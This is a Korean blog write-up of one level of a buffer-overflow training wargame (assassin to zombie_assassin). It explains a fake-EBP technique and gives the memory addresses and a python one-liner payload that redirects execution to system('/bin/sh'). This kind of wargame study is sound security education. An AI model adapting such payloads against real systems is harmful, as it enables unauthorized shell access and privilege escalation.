nemo의 이야기

BOF원정대 assassin -> zombie_assassin 본문

Information security/System security

BOF원정대 assassin -> zombie_assassin

nemojjong 2018. 2. 8. 18:01

 

소스 코드를 확인하면

 

1. 스택 메모리를 사용할 수 없다.

 

2. 라이브러리 메모리를 사용할 수 없다.

 

이를 공격하기 위해 Fake Ebp를 사용할 것 이다.

 

우선 system 주소와 exit 주소와 /bin/sh와 buffer주소와 leave주소를 확인해보자

 

 

/bin/sh : 400fbff9

 

 

system : 40058ae0, exit : 400391e0

 

 

buffer : bffffaa0

 

이제 공격코드를 작성해보자

 

우선 더미(4) + system(4) + exit(4) + /bin/sh(4) + 더미(24) + buffer(4) + leave(4)

 

$(python -c 'print "AAAA" + "\xe0\x8a\x05\x40" + "\xe0\x91\x03\x40" + "\xf9\xbf\x0f\x40" + "A"*24 + "\xa4\xfa\xff\xbf" + "\xdf\x84\x04\x08"')

 

 

buffer에 주소를 +- 16씩 계산하여 입력하여 공격에 성공한 것을 확인 할 수 있다.

 

 

 

 

 

 

 

 

Comments